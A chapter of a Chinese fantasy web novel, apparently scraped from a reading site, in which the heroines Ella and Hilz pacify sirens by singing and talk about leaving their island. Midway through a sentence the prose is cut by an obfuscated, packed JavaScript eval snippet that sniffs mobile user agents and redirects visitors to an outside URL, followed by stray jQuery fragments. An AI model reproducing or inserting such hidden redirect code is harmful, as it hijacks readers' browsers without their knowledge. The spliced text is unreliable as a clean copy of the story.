默认冷灰
24号文字
方正启体

17.塞壬的歌谣

作者:永宁火本书字数:K更新时间:
    月光照湿了塞壬们姣好的脸庞。船只向前驶去,她们也迎着船只游来。


    第一个攀附上船舷的塞壬,有着青灰色的卷发,湿哒哒地贴在肩膀的一侧。她脖子上挂了一串用贝壳和鲨鱼牙齿串成的项链,随着她的呼吸起伏,咯咯作响。


    她的眼睛是金色的,就像玛丽安的一样。


    厄拉以前也见过塞壬,不过是另一种。五年走南闯北的冒险,最大裨益就是增长见识。那次是在咸海的一道峡谷里,人头鸟身的塞壬从峭壁上扑下来,放声高歌。


    队长早就知道会有这么一遭,所以提前给每个人发了耳塞,并将身子紧紧绑在桅杆上,以防被塞壬拽下去。


    但塞壬的诱惑并不在于动人的歌声,也不在于美丽的外形——人头鸟身实在说不上美丽。她们是拥有高超智慧的物种,懂得攻心为上,能看透人心深处的欲望。


    厄拉记得一只塞壬落到她的脸旁,在她耳边温柔地劝道:


    “这趟艰苦的旅途真的是你想要的吗?一辈子疲于奔命有什么意义,你坚持下来只是出于可笑的责任心。把它放下吧,我会带你见识真正的幸福。”


    她伸出苍苔色的舌头,舔了一下厄拉的脸庞。她的眼前一瞬间浮现出了家乡的点点滴滴。她恍然觉得自己还是孩子,正在享受周末,躺在村头的大橡树下发呆,看着草坪上的游人嬉戏,空气里徜徉着慵懒的气氛,让人忍不住想美美地睡上一觉。


    她差点就把眼睛闭上了。


    就在这时,她的队长一跃而起,挥剑劈下了那塞壬的一只翅膀,凄厉的叫声一下子把她震回现实。眼前是一只在甲板上流血挣扎着的怪物,幻想中的阳光、绿草与花香如泡沫般破裂。


    她得救了,但心里怅然若失。


    队长告诉她,这是塞壬的法术,你心里的欲望被勾起来,却又无法实现,当然会觉得失落。


    塞壬给队长呈现的幻境,是衣锦还乡后获得众人的爱戴,身披彩袍手拿宝剑,在鲜花与喝彩中青史留名。而现实里,队长只是个拉扯着全队在温饱线上挣扎的中年人,四处冒险只是因为没有脸面回家。


    “幻想与现实差距太大,是有点不好受。”队长苦笑。


    厄拉赔笑。


    而现在的这只塞壬,也向她伸出了手,一只苍白的近乎透明的手。


    厄拉堵住了耳朵,勉强阻断塞壬的歌声,头脑尚能保持冷静。但这只是暂时的,等她们攻势升级,这招就没有用了。几十年前一位研究塞壬的学者曾著书说,塞壬唱歌并不是为了迷惑人心,单纯只是因为她们热爱音乐。但这并不妨碍有意志不坚定的人为这天籁之音折腰。她们真正的法宝一直都是激发欲望。


    厄拉强撑着没有理会她的手,那塞壬作出了一个委屈巴巴的表情,双手撑在船边沿,想支起身子。下一秒,她的脸上就结结实实挨了希尔兹一桨,“扑腾”砸进水里。


    希尔兹张圆了嘴,对厄拉叽哩哇啦说了一通,可惜有耳塞,她一个字也没有听清。


    “你说什么?”


    希尔兹无语,冲上来一把摘下厄拉的耳塞,对着她耳边大吼道:


    “她们人越来越多,耳塞戴着没用啦!”


    “那怎么办?”厄拉想起之前用弹弓把塞壬一个一个打飞的经历,这次怎么做?用桨一个一个打沉?


    希尔兹从容,自信一笑:“看我的。”


    塞壬的歌声飘荡在海面,迷蒙如同海雾。希尔兹站上船头,一手竖起桨,清了清嗓子。厄拉用两只前脚把耳廓扯下来,紧张又期待地望着她。


    希尔兹气沉丹田,开始吟唱起来。


    她的声音嘹亮悦耳,原本高歌的塞壬们先是惊讶,听着听着,就渐渐闭上了嘴巴。她们陶醉地绕着船,并自发地用手推着它前进。


    厄拉不明所以,松开了耳朵,而后露出了和塞壬们一样沉醉的表情。


    希尔兹此时的歌声,是她有生之年听过的最曼妙的。歌喉婉转空灵,如同从天国的河流飘荡下界,特地前来涤荡人的灵魂。听到这样的歌声,那么一世也不算枉活。


    “夜莺曼舞于林间,一雌一雄形影相随,


    它们为你献上婉转旋律,


    这是女神的恩典与庇佑,


    在此处你不会有烦忧。


    这是女神血泪的赐福,


    饮下它你不会再痛苦。”


    抛开她的歌喉,这首曲子的风格很老派古典,像是精灵奶奶们哄婴儿时唱的,却又更神秘,更庄重。词句不是用通用语,而是用古老的人类语言写就的,里面有很多废弃不用的古董词汇,和让人摸不着头脑的句法,单把歌词拎出来,会让人误解为是某种祈祷词。但希尔兹无与伦比的嗓音又弥补了这一点。


    塞壬们的脸上挂着恬静的微笑,厄拉还从未见她们这样安静过。


    希尔兹一曲唱完,塞壬们意犹未尽,面露期待地望着她。


    厄拉起劲地拍爪子:“太美了!你唱的真好!”


    希尔兹笑:“这是种族的天赋。我们蝉精都有一副好嗓子。因为我们的祖先在地下蛰伏几年,就为了换得在天穹下高歌几个月的机会,如不能唱得酣畅淋漓,一辈子不就白活了。”


    她又说:“塞壬是热爱音乐的种族,如果能让她们真心认可你的嗓音,她们就不会伤害你。”


    其实这些女妖直来直去,没有传说里那么不讲道理。只要你能让我敬佩,我就愿意放你一马。强者为王的思维。


    “这也是古书里写的?”厄拉问。


    “是。只在一本古籍里有提及,我好不容易找到的。记述者当时唱的就是这首曲子,保险起见,我没有敢换。”


    不得不说,希尔兹在寻找资料方面有一手。要从档案馆浩如烟海的典籍里找出仅有的一本讲述出海知识的书,那必定是昼夜不停地找,一刻不歇地看,还得要十二分的运气,才能淘到那一丝希望。


    “你···就那么想出海吗?”


    “我不是第一个这么想离开的人。几百年前有很多人想这么做,不然也不会留下记录。不过,她们一次又一次地失败,后人也因此死心,再也没人尝试过了。毕竟,谁愿意冒着葬身鱼腹的风险,去追求岛外虚无缥缈的目的地呢?我们连岛外的地图都没有。”她自嘲地笑笑,“不过,论对出海的渴望,我不会输给任何一个前人,而且,我比她们中绝大多数人都走得远。”


    厄拉还是不解:“为什么想要去岛外?我要离开,是因为我的家不在这里。你呢?”


    希尔兹眯起眼睛:“你还是人类的时候,是勇者吧?你为什么要四处探险?”


    “这是勇者的职业要求。”


    “除此之外呢?”


    “···我想趁年轻时多看看世界。”


    “就是这样,”希尔兹笃定,“你的世界一定比我的世界大多了,你不觉得这样很不公平吗?”


    厄拉吐舌头。不公平的事太多了,比如她一直觉得精灵是在法力、寿命、外貌各方面都得天独


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17458865|201070||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    厚的种族,小时候曾为了自己是人类而不是精灵痛哭了一周,直到最后母亲安慰她还好你不是矮人才罢休。


    希尔兹在乎公平,那她得对多少人生气啊。难怪她无法忍受家室尊贵的大小姐鲍西娅。


    没有歌声了,海面回归了安静。


    “我们这一族,自古以来追求的就是长生。所以我们的祖先不断地去找别的种族通婚,企图通过混血延长寿命。她们很疯狂,为了自己永远看不到的后代拼尽全力,并把这条信念一代又一代地传承下去——要活得长。你能理解她们吗?”


    她不需要厄拉的答案,紧接着说:“我觉得她们很伟大。她们自己短暂的一生全都耗在了寻找更好的血脉和不断地生育上,几百年过去,我们这一代的寿命已经延长到不必再为繁衍焦急了,我们可以追求更多事。”


    “你想追求——离开?”


    “对。先祖们能挣脱寿命的枷锁,那我也能挣脱困守的枷锁。这是独属于我们血脉的勇气,不管多少次和外族通婚都不会被稀释。”她目光熠熠,比夜空中的星星更耀眼。


    “我不要一辈子待在这座小岛上!我比我的所有祖先,所有同胞的寿命都要长,我能见识的东西比她们多得多,我要看的更多,我的孩子们也要看的更多!”她的语气越来越激动,“其他种族没有体会过朝生暮死短命的痛苦与不甘,所以她们没有心气,故步自封。我们和她们不一样!”


    是不一样。她胆子大,有勇有谋,她离逃离自己的故土只差最后一步了。她已经走到了这里。


    塞壬们又围了上来,似乎不满于歌声长久的缺席,叩击着船舷,催促希尔兹继续唱些什么。


    希尔兹撩起凌乱的额发,拍拍脸使自己冷静下来。


    “我嗓子干,你要不来唱几句吧?”


    啊?谁?我来唱?厄拉蒙了。


    “万一我唱的不好,她们生气了怎么办?”她连连摆手。


    “试一下。她们都是音乐大师,真正的大师包容度很高的。”希尔兹并不在意。


    厄拉没办法,只好赶鸭子上架。她原本的身体其实有一副好嗓子,可现在她靠玛丽安的声带发声,那效果就未可知了。


    她一时半会想不起什么歌谣,最熟悉的只有在路上听吟游诗人唱过的叙事诗。事已至此,先来几句吧:


    “在这里倒下的是勇猛的战士,


    诸神的子嗣维金,


    他多么强大,他多么悲伤,


    他被狡猾的蒂斯欺诈,


    从角杯的底部饮下羊奶,


    患上可怖的麻风。


    若他看穿那人的面目,何至于


    这么无助,这么痛苦。”


    那是一首很长的叙事诗,她只记得这么一小节的旋律了,调子不够欢快,过于哀戚,但塞壬们很喜欢,不仅没有攻击她,还随着她的叙述一起皱眉哀伤。


    “马马虎虎。”希尔兹评价。没有批评,就是表扬。


    厄拉吐出一口释然的长气。


    “塞壬这一关是过了,后面还有什么关卡,有记载吗?”


    希尔兹神色一滞:“问题就在这。唯一记载下制服塞壬的那个人,往后写的内容很混乱,无法解读,他只是一味强调,很恐怖,很恐怖。”


    厄拉有点胆寒。但希尔兹明显不打算走回头路。


    “所以该你派上用场了,”她说,“一百年前,王室的人也走到了这里。她们没有成功,但她们的方法很有借鉴价值。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)